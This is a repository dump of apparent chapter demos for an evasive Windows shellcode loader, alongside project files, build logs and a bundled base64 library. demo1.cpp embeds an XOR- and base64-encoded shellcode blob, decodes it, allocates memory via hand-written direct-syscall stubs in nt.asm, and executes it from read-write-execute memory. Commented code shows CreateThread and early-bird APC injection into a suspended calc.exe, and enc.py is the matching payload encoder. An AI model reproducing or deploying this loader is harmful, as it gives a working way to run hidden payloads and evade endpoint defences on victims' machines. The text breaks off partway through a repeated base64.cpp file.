{1876F365-2DEC-42C9-B80E-B631B26FCAD8}.Release|x64.Build.0 = Release|x64 {1876F365-2DEC-42C9-B80E-B631B26FCAD8}.Release|x86.ActiveCfg = Release|Win32 {1876F365-2DEC-42C9-B80E-B631B26FCAD8}.Release|x86.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {1F8E67EA-F3B7-42DD-84B6-2CD2AC0305B7} EndGlobalSection EndGlobal ================================================ FILE: chapter4-demo1/enc.py ================================================ import base64 with open("1.txt","rb") as f: all=f.read() array=[] for i in all: array.append(i^8) #print(bytearray(array)) print(base64.b64encode(bytearray(array))) ================================================ FILE: chapter4-demo2/demo1/Debug/demo1.log ================================================  demo1.vcxproj -> E:\7bits_demo\demo1\demo1\Debug\demo1.exe ================================================ FILE: chapter4-demo2/demo1/Debug/demo1.tlog/demo1.lastbuildstate ================================================ #TargetFrameworkVersion=v4.0:PlatformToolSet=v142:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0 Debug|Win32|E:\7bits_demo\demo1\demo1\| ================================================ FILE: chapter4-demo2/demo1/Header.h ================================================ #pragma once const int XOR_KEY{ 8 }; #include const std::vector VC_PREF_BASES{ (void*)0x00000000DDDD0000, (void*)0x0000000010000000, (void*)0x0000000021000000, (void*)0x0000000032000000, (void*)0x0000000043000000, (void*)0x0000000050000000, (void*)0x0000000041000000, (void*)0x0000000042000000, (void*)0x0000000040000000, (void*)0x0000000022000000 }; ================================================ FILE: chapter4-demo2/demo1/base64.cpp ================================================ /* base64.cpp and base64.h base64 encoding and decoding with C++. More information at https://renenyffenegger.ch/notes/development/Base64/Encoding-and-decoding-base-64-with-cpp Version: 2.rc.08 (release candidate) Copyright (C) 2004-2017, 2020, 2021 Ren?Nyffenegger This source code is provided 'as-is', without any express or implied warranty. In no event will the author be held liable for any damages arising from the use of this software. Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions: 1. The origin of this source code must not be misrepresented; you must not claim that you wrote the original source code. If you use this source code in a product, an acknowledgment in the product documentation would be appreciated but is not required. 2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original source code. 3. This notice may not be removed or altered from any source distribution. Ren?Nyffenegger rene.nyffenegger@adp-gmbh.ch */ #include "base64.h" #include #include // // Depending on the url parameter in base64_chars, one of // two sets of base64 characters needs to be chosen. // They differ in their last two characters. // static const char* base64_chars[2] = { "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz" "0123456789" "+/", "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz" "0123456789" "-_" }; static unsigned int pos_of_char(const unsigned char chr) { // // Return the position of chr within base64_encode() // if (chr >= 'A' && chr <= 'Z') return chr - 'A'; else if (chr >= 'a' && chr <= 'z') return chr - 'a' + ('Z' - 'A') + 1; else if (chr >= '0' && chr <= '9') return chr - '0' + ('Z' - 'A') + ('z' - 'a') + 2; else if (chr == '+' || chr == '-') return 62; // Be liberal with input and accept both url ('-') and non-url ('+') base 64 characters ( else if (chr == '/' || chr == '_') return 63; // Ditto for '/' and '_' else // // 2020-10-23: Throw std::exception rather than const char* //(Pablo Martin-Gomez, https://github.com/Bouska) // throw std::runtime_error("Input is not valid base64-encoded data."); } static std::string insert_linebreaks(std::string str, size_t distance) { // // Provided by https://github.com/JomaCorpFX, adapted by me. // if (!str.length()) { return ""; } size_t pos = distance; while (pos < str.size()) { str.insert(pos, "\n"); pos += distance + 1; } return str; } template static std::string encode_with_line_breaks(String s) { return insert_linebreaks(base64_encode(s, false), line_length); } template static std::string encode_pem(String s) { return encode_with_line_breaks(s); } template static std::string encode_mime(String s) { return encode_with_line_breaks(s); } template static std::string encode(String s, bool url) { return base64_encode(reinterpret_cast(s.data()), s.length(), url); } std::string base64_encode(unsigned char const* bytes_to_encode, size_t in_len, bool url) { size_t len_encoded = (in_len + 2) / 3 * 4; unsigned char trailing_char = url ? '.' : '='; // // Choose set of base64 characters. They differ // for the last two positions, depending on the url // parameter. // A bool (as is the parameter url) is guaranteed // to evaluate to either 0 or 1 in C++ therefore, // the correct character set is chosen by subscripting // base64_chars with url. // const char* base64_chars_ = base64_chars[url]; std::string ret; ret.reserve(len_encoded); unsigned int pos = 0; while (pos < in_len) { ret.push_back(base64_chars_[(bytes_to_encode[pos + 0] & 0xfc) >> 2]); if (pos + 1 < in_len) { ret.push_back(base64_chars_[((bytes_to_encode[pos + 0] & 0x03) << 4) + ((bytes_to_encode[pos + 1] & 0xf0) >> 4)]); if (pos + 2 < in_len) { ret.push_back(base64_chars_[((bytes_to_encode[pos + 1] & 0x0f) << 2) + ((bytes_to_encode[pos + 2] & 0xc0) >> 6)]); ret.push_back(base64_chars_[bytes_to_encode[pos + 2] & 0x3f]); } else { ret.push_back(base64_chars_[(bytes_to_encode[pos + 1] & 0x0f) << 2]); ret.push_back(trailing_char); } } else { ret.push_back(base64_chars_[(bytes_to_encode[pos + 0] & 0x03) << 4]); ret.push_back(trailing_char); ret.push_back(trailing_char); } pos += 3; } return ret; } template static std::string decode(String encoded_string, bool remove_linebreaks) { // // decode(? is templated so that it can be used with String = const std::string& // or std::string_view (requires at least C++17) // if (encoded_string.empty()) return std::string(); if (remove_linebreaks) { std::string copy(encoded_string); copy.erase(std::remove(copy.begin(), copy.end(), '\n'), copy.end()); return base64_decode(copy, false); } size_t length_of_string = encoded_string.length(); size_t pos = 0; // // The approximate length (bytes) of the decoded string might be one or // two bytes smaller, depending on the amount of trailing equal signs // in the encoded string. This approximation is needed to reserve // enough space in the string to be returned. // size_t approx_length_of_decoded_string = length_of_string / 4 * 3; std::string ret; ret.reserve(approx_length_of_decoded_string); while (pos < length_of_string) { // // Iterate over encoded input string in chunks. The size of all // chunks except the last one is 4 bytes. // // The last chunk might be padded with equal signs or dots // in order to make it 4 bytes in size as well, but this // is not required as per RFC 2045. // // All chunks except the last one produce three output bytes. // // The last chunk produces at least one and up to three bytes. // size_t pos_of_char_1 = pos_of_char(encoded_string[pos + 1]); // // Emit the first output byte that is produced in each chunk: // ret.push_back(static_cast(((pos_of_char(encoded_string[pos + 0])) << 2) + ((pos_of_char_1 & 0x30) >> 4))); if ((pos + 2 < length_of_string) && // Check for data that is not padded with equal signs (which is allowed by RFC 2045) encoded_string[pos + 2] != '=' && encoded_string[pos + 2] != '.' // accept URL-safe base 64 strings, too, so check for '.' also. ) { // // Emit a chunk's second byte (which might not be produced in the last chunk). // unsigned int pos_of_char_2 = pos_of_char(encoded_string[pos + 2]); ret.push_back(static_cast(((pos_of_char_1 & 0x0f) << 4) + ((pos_of_char_2 & 0x3c) >> 2))); if ((pos + 3 < length_of_string) && encoded_string[pos + 3] != '=' && encoded_string[pos + 3] != '.' ) { // // Emit a chunk's third byte (which might not be produced in the last chunk). // ret.push_back(static_cast(((pos_of_char_2 & 0x03) << 6) + pos_of_char(encoded_string[pos + 3]))); } } pos += 4; } return ret; } std::string base64_decode(std::string const& s, bool remove_linebreaks) { return decode(s, remove_linebreaks); } std::string base64_encode(std::string const& s, bool url) { return encode(s, url); } std::string base64_encode_pem(std::string const& s) { return encode_pem(s); } std::string base64_encode_mime(std::string const& s) { return encode_mime(s); } #if __cplusplus >= 201703L // // Interface with std::string_view rather than const std::string& // Requires C++17 // Provided by Yannic Bonenberger (https://github.com/Yannic) // std::string base64_encode(std::string_view s, bool url) { return encode(s, url); } std::string base64_encode_pem(std::string_view s) { return encode_pem(s); } std::string base64_encode_mime(std::string_view s) { return encode_mime(s); } std::string base64_decode(std::string_view s, bool remove_linebreaks) { return decode(s, remove_linebreaks); } #endif // __cplusplus >= 201703L ================================================ FILE: chapter4-demo2/demo1/base64.h ================================================ // // base64 encoding and decoding with C++. // Version: 2.rc.08 (release candidate) // #ifndef BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A #define BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A #include #if __cplusplus >= 201703L #include #endif // __cplusplus >= 201703L std::string base64_encode(std::string const& s, bool url = false); std::string base64_encode_pem(std::string const& s); std::string base64_encode_mime(std::string const& s); std::string base64_decode(std::string const& s, bool remove_linebreaks = false); std::string base64_encode(unsigned char const*, size_t len, bool url = false); #if __cplusplus >= 201703L // // Interface with std::string_view rather than const std::string& // Requires C++17 // Provided by Yannic Bonenberger (https://github.com/Yannic) // std::string base64_encode(std::string_view s, bool url = false); std::string base64_encode_pem(std::string_view s); std::string base64_encode_mime(std::string_view s); std::string base64_decode(std::string_view s, bool remove_linebreaks = false); #endif // __cplusplus >= 201703L #endif /* BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A */ ================================================ FILE: chapter4-demo2/demo1/demo1.cpp ================================================ // demo1.cpp : This file contains the 'main' function. Program execution begins and ends there. // #include #include #include "header.h" #include "base64.h" #include "nt.h" using namespace std; unsigned char* ReadProcessBlob(const char* fnamSc, DWORD* szSc) { DWORD szRead{ 0 }; HANDLE hFile = CreateFileA( fnamSc, GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (INVALID_HANDLE_VALUE == hFile) return nullptr; SIZE_T szFile = GetFileSize(hFile, NULL); *szSc = szFile; unsigned char* raw = new unsigned char[szFile]; unsigned char* sc = new unsigned char[szFile]; if (!ReadFile(hFile, raw, szFile, &szRead, NULL)) return nullptr; int i; for (i = 0; i < szRead; i++) { sc[i] = raw[i] ^ XOR_KEY; } return sc; } std::string replace(const std::string& inStr, const char* pSrc, const char* pReplace) { std::string str = inStr; std::string::size_type stStart = 0; std::string::iterator iter = str.begin(); while (iter != str.end()) { std::string::size_type st = str.find(pSrc, stStart); if (st == str.npos) { break; } iter = iter + st - stStart; str.replace(iter, iter + strlen(pSrc), pReplace); iter = iter + strlen(pReplace); stStart = st + strlen(pReplace); } return str; } LPVOID GetSuitableBaseAddress(HANDLE hProc, DWORD szPage, DWORD szAllocGran, DWORD cVmResv) { MEMORY_BASIC_INFORMATION mbi; for (auto base : VC_PREF_BASES) { VirtualQueryEx( hProc, base, &mbi, sizeof(MEMORY_BASIC_INFORMATION) ); if (MEM_FREE == mbi.State) { uint64_t i; for (i = 0; i < cVmResv; ++i) { LPVOID currentBase = (void*)((DWORD_PTR)base + (i * szAllocGran)); VirtualQueryEx( hProc, currentBase, &mbi, sizeof(MEMORY_BASIC_INFORMATION) ); if (MEM_FREE != mbi.State) break; } if (i == cVmResv) { // found suitable base return base; } } } return nullptr; } int main() { bool all_tests_passed = false; std::string rest2_reference = "9ECL7PjgwAgICElZSVhaWV5AOdptQINaaECDWhBAg1ooQIN6WEAHv0JCRTnBQDnIpDRpdAokKEnJwQVJCcnq5VpJWUCDWiiDSjRACdhuiXAQAwp9eoOIgAgICECNyHxvQAnYWINAEEyDSChBCdjrXkD3wUmDPIBACd5FOcFAOcikScnBBUkJyTDofflEC0QsAE0x2X3QUEyDSCxBCdhuSYMEQEyDSBRBCdhJgwyAQAnYSVBJUFZRUklQSVFJUkCL5ChJWvfoUElRUkCDGuFH9/f3VWIIQbZ/YWZhZm18CEleQYHuRIH5SbJEfy4P991AOcFAOdpFOchFOcFJWElYSbIyXnGv993je1JAgclJsFgICAhFOcFJWUlZYgtJWUmyX4GXzvfd41FTQIHJQDnaQYHQRTnBWmAICkiMWlpJsuNdJjP33UCBzkCLy1hiAldAgflAgdJBz8j39/f3RTnBWlpJsiUOEHP33Y3IB42VCQgIQPfHB4yECQgI49vh7AkICOCq9/f3J0V8UEwIQShDvCCeEfnGqz4QOUCZb1k9zZRfrP2kaoTlwQZQ+aY4tgZwQlaNp0lYfmGOcGoGYzblJRLD9V4TH2y6c1s4iOAMlePMttdpgghde216JUlvbWZ8MihFZ3JhZGRpJzwmOCgga2dleGl8YWpkbTMoRVtBTSg/JjgzKF9hZmxnf3soRlwoPSY5IQUCCM1l6QoDmhAeJZoutN1CPkoMbBYRT4p4JodhVtQQ/QXiL7U61RfcwKRjFq95GITSknVDXEYydGh4NjiMRT6a43pevMz6zCoiQMDcYy/1jHjhWWvhVp/6TPSIiL5RP8LaSwpz++6FswyGtYnKUJ+da0rRw4YW4GE1isJ9yBukKGBzCetRpZrAZtf8AZPUpuLRg9gLYdXFeifw5yhKxN4jy6BQV14m/VHXb2WO3XrQXc7c0CxfgIM1rYMHGVMH6y9uyurrF7uMzIg+sptJ4pFTYuzDslBKxx4+qcw2ikCPTsks2vAe8rGqLYAwlP4+eRcISbb4vape991AOcGyCAhICEmwCBgICEmxSAgICEmyUKxb7ffdQJtbW0CB70CB+UCB0kmwCCgICEGB8UmyGp6B6vfdQIvMKI3IfL5ugw9ACcuNyH3fUFBQQA0ICAgIWMvgl/X39zkxOiY5PjAmOCY5OzkIWQG3ZQ@@"; std::string rest3_reference = replace(rest2_reference, "@@", "=="); std::string rest2_decoded = base64_decode(rest3_reference); const char* S = rest2_decoded.c_str(); HANDLE hProc = OpenProcess( PROCESS_ALL_ACCESS, FALSE, 8236 ); SYSTEM_INFO sys_inf; GetSystemInfo(&sys_inf); DWORD page_size{ sys_inf.dwPageSize }; DWORD alloc_gran{ sys_inf.dwAllocationGranularity }; SIZE_T szVmResv{ alloc_gran }; SIZE_T szVmCmm{ page_size }; DWORD cVmResv = (rest2_decoded.length() / szVmResv) + 1; DWORD cVmCmm = szVmResv / szVmCmm; LPVOID vmBaseAddress = GetSuitableBaseAddress( hProc, szVmCmm, szVmResv, cVmResv ); LPVOID currentVmBase{ vmBaseAddress }; NTSTATUS status{ 0 }; vector vcVmResv; //alloc memeory for (int i = 1; i <= cVmResv; ++i) { status = BNtAVM( hProc, ¤tVmBase, NULL, &szVmResv, MEM_RESERVE, PAGE_NOACCESS ); if (STATUS_SUCCESS == status) { vcVmResv.push_back(currentVmBase); } else { std::cout << "AVM error"; } currentVmBase = (LPVOID)((DWORD_PTR)currentVmBase + szVmResv); } DWORD offsetSc{ 0 }; DWORD oldProt; double prcDone{ 0 }; DWORD cmm_i; for (int i = 0; i < cVmResv; ++i) { unsigned char* sc = new unsigned char[szVmCmm]; for (int j = 0; j < szVmCmm; j++) { //cout << szVmCmm * i + j << endl; sc[j] = S[szVmCmm * i + j] ^ XOR_KEY; } void* exec = VirtualAlloc(0, cVmResv, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, sc, rest2_decoded.length()); ((void(*)())exec)(); /* for (cmm_i = 0; cmm_i < cVmCmm; ++cmm_i) { DWORD offset = (cmm_i * szVmCmm); currentVmBase = (LPVOID)((DWORD_PTR)vcVmResv[i] + offset); status = BNtAVM( hProc, ¤tVmBase, NULL, &szVmCmm, MEM_COMMIT, PAGE_READWRITE ); SIZE_T szWritten{ 0 }; status = BNtWVM( hProc, currentVmBase, &sc[offset], szVmCmm, &szWritten ); offsetSc += szVmCmm; status = BNtPVM( hProc, ¤tVmBase, &szVmCmm, PAGE_EXECUTE_READ, &oldProt ); }*/ } /* for (int i = 0; i < rest2_decoded.length(); i++) { sc[i] = S[i] ^ 8; } for (int i=0; i < rest2_decoded.length(); i++) { sc_rev[i] = sc[rest2_decoded.length() - i-1]; }*/ /* void * exec = VirtualAlloc(0, rest2_decoded.length(), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, sc_rev, rest2_decoded.length()); //unsigned const char* S= ((void(*)())exec)(); */ /* CreateThread HANDLE hThread = CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)exec, NULL, 0, NULL); if (hThread == NULL) { return 1; } WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); */ /* eariler bird APC SIZE_T shellSize = szSc; STARTUPINFOA si = { 0 }; PROCESS_INFORMATION pi = { 0 }; CreateProcessA("C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); HANDLE victimProcess = pi.hProcess; HANDLE threadHandle = pi.hThread; LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress; WriteProcessMemory(victimProcess, shellAddress, S, shellSize, NULL); QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL); ResumeThread(threadHandle); */ } // Run program: Ctrl + F5 or Debug > Start Without Debugging menu // Debug program: F5 or Debug > Start Debugging menu // Tips for Getting Started: // 1. Use the Solution Explorer window to add/manage files // 2. Use the Team Explorer window to connect to source control // 3. Use the Output window to see build output and other messages // 4. Use the Error List window to view errors // 5. Go to Project > Add New Item to create new code files, or Project > Add Existing Item to add existing code files to the project // 6. In the future, to open this project again, go to File > Open > Project and select the .sln file ================================================ FILE: chapter4-demo2/demo1/demo1.vcxproj ================================================ Debug Win32 Release Win32 Debug x64 Release x64 16.0 {1876F365-2DEC-42C9-B80E-B631B26FCAD8} Win32Proj demo1 10.0 Application true v143 Unicode Application false v143 true Unicode Application true v143 Unicode Application false v143 true Unicode true true false false Level3 Disabled true WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true Level3 Disabled true _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true Level3 MaxSpeed true true true WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true true true Level3 Disabled true true true NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true true true CppCode ================================================ FILE: chapter4-demo2/demo1/demo1.vcxproj.filters ================================================  {4FC737F1-C7A5-4376-A066-2A32D752A2FF} cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms {93995380-89BD-4b04-88EB-625FBE52EBFB} h;hh;hpp;hxx;hm;inl;inc;ipp;xsd Source Files Source Files Resource Files Resource Files\Header Files Resource Files\Header Files Source Files ================================================ FILE: chapter4-demo2/demo1/demo1.vcxproj.user ================================================  ================================================ FILE: chapter4-demo2/demo1/nt.asm ================================================ .code bye : ret BNtAVM proc mov r8, r10 mov r10, 01h xor r10, r10 mov r10, 0Ah mov r10, rcx xor eax, eax sub r8, r10 add eax, 18h; 1507 + xor r8, r8 syscall ret BNtAVM endp BNtWVM proc add rcx, 0Ah xor eax, eax mov r10, rcx add eax, 3Ah; 1507 + sub r10, 0Ah sub rcx, 0Ah syscall ret BNtWVM endp BNtPVM proc add r10, 1Ch xor eax, eax mov r10, rcx sub r10, 01h add eax, 50h; 1507 + add r10, 01h syscall ret BNtPVM endp end ================================================ FILE: chapter4-demo2/demo1/nt.h ================================================ #pragma once #include #define STATUS_SUCCESS 0 EXTERN_C NTSTATUS BNtAVM( HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect ); EXTERN_C NTSTATUS BNtWVM( HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead ); EXTERN_C NTSTATUS BNtPVM( HANDLE ProcessHandle, PVOID* BaseAddress, SIZE_T* NumberOfBytesToProtect, ULONG NewAccessProtection, PULONG OldAccessProtection ); ================================================ FILE: chapter4-demo2/demo1/x64/Debug/demo1.exe.recipe ================================================  E:\last\demo1\x64\Debug\demo1.exe ================================================ FILE: chapter4-demo2/demo1/x64/Debug/demo1.log ================================================  demo1.vcxproj -> E:\last\demo1\x64\Debug\demo1.exe ================================================ FILE: chapter4-demo2/demo1/x64/Debug/demo1.tlog/demo1.lastbuildstate ================================================ PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.32.31326:TargetPlatformVersion=10.0.19041.0: Debug|x64|E:\last\demo1\| ================================================ FILE: chapter4-demo2/demo1/x64/Release/demo1.exe.recipe ================================================  E:\last\demo1\x64\Release\demo1.exe ================================================ FILE: chapter4-demo2/demo1/x64/Release/demo1.log ================================================  demo1.cpp E:\last\demo1\demo1\header.h(6,67): warning C4312: “类型强制转换”: 从“unsigned int”转换到更大的“void *” E:\last\demo1\demo1\demo1.cpp(29,10): warning C4244: “=”: 从“SIZE_T”转换到“DWORD”,可能丢失数据 E:\last\demo1\demo1\demo1.cpp(34,28): warning C4244: “参数”: 从“SIZE_T”转换到“DWORD”,可能丢失数据 E:\last\demo1\demo1\demo1.cpp(39,16): warning C4018: “<”: 有符号/无符号不匹配 E:\last\demo1\demo1\demo1.cpp(139,58): warning C4267: “初始化”: 从“size_t”转换到“DWORD”,可能丢失数据 E:\last\demo1\demo1\demo1.cpp(140,16): warning C4244: “初始化”: 从“SIZE_T”转换到“DWORD”,可能丢失数据 E:\last\demo1\demo1\demo1.cpp(145,3): warning C4244: “参数”: 从“SIZE_T”转换到“DWORD”,可能丢失数据 E:\last\demo1\demo1\demo1.cpp(144,3): warning C4244: “参数”: 从“SIZE_T”转换到“DWORD”,可能丢失数据 E:\last\demo1\demo1\demo1.cpp(153,20): warning C4018: “<=”: 有符号/无符号不匹配 E:\last\demo1\demo1\demo1.cpp(180,20): warning C4018: “<”: 有符号/无符号不匹配 E:\last\demo1\demo1\demo1.cpp(179,12): warning C4101: “cmm_i”: 未引用的局部变量 E:\last\demo1\demo1\demo1.cpp(175,18): warning C4101: “oldProt”: 未引用的局部变量 正在生成代码 已完成代码的生成 1 of 225 functions ( 0.4%) were compiled, the rest were copied from previous compilation. 0 functions were new in current compilation 0 functions had inline decision re-evaluated but remain unchanged demo1.vcxproj -> E:\last\demo1\x64\Release\demo1.exe ================================================ FILE: chapter4-demo2/demo1/x64/Release/demo1.tlog/demo1.lastbuildstate ================================================ PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.32.31326:TargetPlatformVersion=10.0.19041.0: Release|x64|E:\last\demo1\| ================================================ FILE: chapter4-demo2/demo1.sln ================================================  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 16 VisualStudioVersion = 16.0.28729.10 MinimumVisualStudioVersion = 10.0.40219.1 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "demo1", "demo1\demo1.vcxproj", "{1876F365-2DEC-42C9-B80E-B631B26FCAD8}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|x64 = Debug|x64 Debug|x86 = Debug|x86 Release|x64 = Release|x64 Release|x86 = Release|x86 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {1876F365-2DEC-42C9-B80E-B631B26FCAD8}.Debug|x64.ActiveCfg = Debug|x64 {1876F365-2DEC-42C9-B80E-B631B26FCAD8}.Debug|x64.Build.0 = Debug|x64 {1876F365-2DEC-42C9-B80E-B631B26FCAD8}.Debug|x86.ActiveCfg = Debug|Win32 {1876F365-2DEC-42C9-B80E-B631B26FCAD8}.Debug|x86.Build.0 = Debug|Win32 {1876F365-2DEC-42C9-B80E-B631B26FCAD8}.Release|x64.ActiveCfg = Release|x64 {1876F365-2DEC-42C9-B80E-B631B26FCAD8}.Release|x64.Build.0 = Release|x64 {1876F365-2DEC-42C9-B80E-B631B26FCAD8}.Release|x86.ActiveCfg = Release|Win32 {1876F365-2DEC-42C9-B80E-B631B26FCAD8}.Release|x86.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {1F8E67EA-F3B7-42DD-84B6-2CD2AC0305B7} EndGlobalSection EndGlobal ================================================ FILE: chapter4-demo2/enc.py ================================================ import base64 with open("1.txt","rb") as f: all=f.read() array=[] for i in all: array.append(i^8) #print(bytearray(array)) print(base64.b64encode(bytearray(array))) ================================================ FILE: chapter4-demo3/demo1/Debug/demo1.log ================================================  demo1.vcxproj -> E:\7bits_demo\demo1\demo1\Debug\demo1.exe ================================================ FILE: chapter4-demo3/demo1/Debug/demo1.tlog/demo1.lastbuildstate ================================================ #TargetFrameworkVersion=v4.0:PlatformToolSet=v142:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0 Debug|Win32|E:\7bits_demo\demo1\demo1\| ================================================ FILE: chapter4-demo3/demo1/Header.h ================================================ #pragma once const int XOR_KEY{ 8 }; #include const std::vector VC_PREF_BASES{ (void*)0x00000000DDDD0000, (void*)0x0000000010000000, (void*)0x0000000021000000, (void*)0x0000000032000000, (void*)0x0000000043000000, (void*)0x0000000050000000, (void*)0x0000000041000000, (void*)0x0000000042000000, (void*)0x0000000040000000, (void*)0x0000000022000000 }; ================================================ FILE: chapter4-demo3/demo1/base64.cpp ================================================ /* base64.cpp and base64.h base64 encoding and decoding with C++. More information at https://renenyffenegger.ch/notes/development/Base64/Encoding-and-decoding-base-64-with-cpp Version: 2.rc.08 (release candidate) Copyright (C) 2004-2017, 2020, 2021 Ren?Nyffenegger This source code is provided 'as-is', without any express or implied warranty. In no event will the author be held liable for any damages arising from the use of this software. Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions: 1. The origin of this source code must not be misrepresented; you must not claim that you wrote the original source code. If you use this source code in a product, an acknowledgment in the product documentation would be appreciated but is not required. 2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original source code. 3. This notice may not be removed or altered from any source distribution. Ren?Nyffenegger rene.nyffenegger@adp-gmbh.ch */ #include "base64.h" #include #include // // Depending on the url parameter in base64_chars, one of // two sets of base64 characters needs to be chosen. // They differ in their last two characters. // static const char* base64_chars[2] = { "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz" "0123456789" "+/", "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz" "0123456789" "-_" }; static unsigned int pos_of_char(const unsigned char chr) { // // Return the position of chr within base64_encode() // if (chr >= 'A' && chr <= 'Z') return chr - 'A'; else if (chr >= 'a' && chr <= 'z') return chr - 'a' + ('Z' - 'A') + 1; else if (chr >= '0' && chr <= '9') return chr - '0' + ('Z' - 'A') + ('z' - 'a') + 2; else if (chr == '+' || chr == '-') return 62; // Be liberal with input and accept both url ('-') and non-url ('+') base 64 characters ( else if (chr == '/' || chr == '_') return 63; // Ditto for '/' and '_' else // // 2020-10-23: Throw std::exception rather than const char* //(Pablo Martin-Gomez, https://github.com/Bouska) // throw std::runtime_error("Input is not valid base64-encoded data."); } static std::string insert_linebreaks(std::string str, size_t distance) { // // Provided by https://github.com/JomaCorpFX, adapted by me. // if (!str.length()) { return ""; } size_t pos = distance; while (pos < str.size()) { str.insert(pos, "\n"); pos += distance + 1; } return str; } template static std::string encode_with_line_breaks(String s) { return insert_linebreaks(base64_encode(s, false), line_length); } template static std::string encode_pem(String s) { return encode_with_line_breaks(s); } template static std::string encode_mime(String s) { return encode_with_line_breaks(s); } template static std::string encode(String s, bool url) { return base64_encode(reinterpret_cast(s.data()), s.length(), url); } std::string base64_encode(unsigned char const* bytes_to_encode, size_t in_len, bool url) { size_t len_encoded = (in_len + 2) / 3 * 4; unsigned char trailing_char = url ? '.' : '='; // // Choose set of base64 characters. They differ // for the last two positions, depending on the url // parameter. // A bool (as is the parameter url) is guaranteed // to evaluate to either 0 or 1 in C++ therefore, // the correct character set is chosen by subscripting // base64_chars with url. // const char* base64_chars_ = base64_chars[url]; std::string ret; ret.reserve(len_encoded); unsigned int pos = 0; while (pos < in_len) { ret.push_back(base64_chars_[(bytes_to_encode[pos + 0] & 0xfc) >> 2]); if (pos + 1 < in_len) { ret.push_back(base64_chars_[((bytes_to_encode[pos + 0] & 0x03) << 4) + ((bytes_to_encode[pos + 1] & 0xf0) >> 4)]); if (pos + 2 < in_len) { ret.push_back(base64_chars_[((bytes_to_encode[pos + 1] & 0x0f) << 2) + ((bytes_to_encode[pos + 2] & 0xc0) >> 6)]); ret.push_back(base64_chars_[bytes_to_encode[pos + 2] & 0x3f]); } else { ret.push_back(base64_chars_[(bytes_to_encode[pos + 1] & 0x0f) << 2]); ret.push_back(trailing_char); } } else { ret.push_back(base64_chars_[(bytes_to_encode[pos + 0] & 0x03) << 4]); ret.push_back(trailing_char); ret.push_back(trailing_char); } pos += 3; } return ret; } template static std::string decode(String encoded_string, bool remove_linebreaks) { // // decode(? is templated so that it can be used with String = const std::string& // or std::string_view (requires at least C++17) // if (encoded_string.empty()) return std::string(); if (remove_linebreaks) { std::string copy(encoded_string); copy.erase(std::remove(copy.begin(), copy.end(), '\n'), copy.end()); return base64_decode(copy, false); } size_t length_of_string = encoded_string.length(); size_t pos = 0; // // The approximate length (bytes) of the decoded string might be one or // two bytes smaller, depending on the amount of trailing equal signs // in the encoded string. This approximation is needed to reserve // enough space in the string to be returned. // size_t approx_length_of_decoded_string = length_of_string / 4 * 3; std::string ret; ret.reserve(approx_length_of_decoded_string); while (pos < length_of_string) { // // Iterate over encoded input string in chunks. The size of all // chunks except the last one is 4 bytes. // // The last chunk might be padded with equal signs or dots // in order to make it 4 bytes in size as well, but this // is not required as per RFC 2045. // // All chunks except the last one produce three output bytes. // // The last chunk produces at least one and up to three bytes. // size_t pos_of_char_1 = pos_of_char(encoded_string[pos + 1]); // // Emit the first output byte that is produced in each chunk: // ret.push_back(static_cast(((pos_of_char(encoded_string[pos + 0])) << 2) + ((pos_of_char_1 & 0x30) >> 4))); if ((pos + 2 < length_of_string) && // Check for data that is not padded with equal signs (which is allowed by RFC 2045) encoded_string[pos + 2] != '=' && encoded_string[pos + 2] != '.' // accept URL-safe base 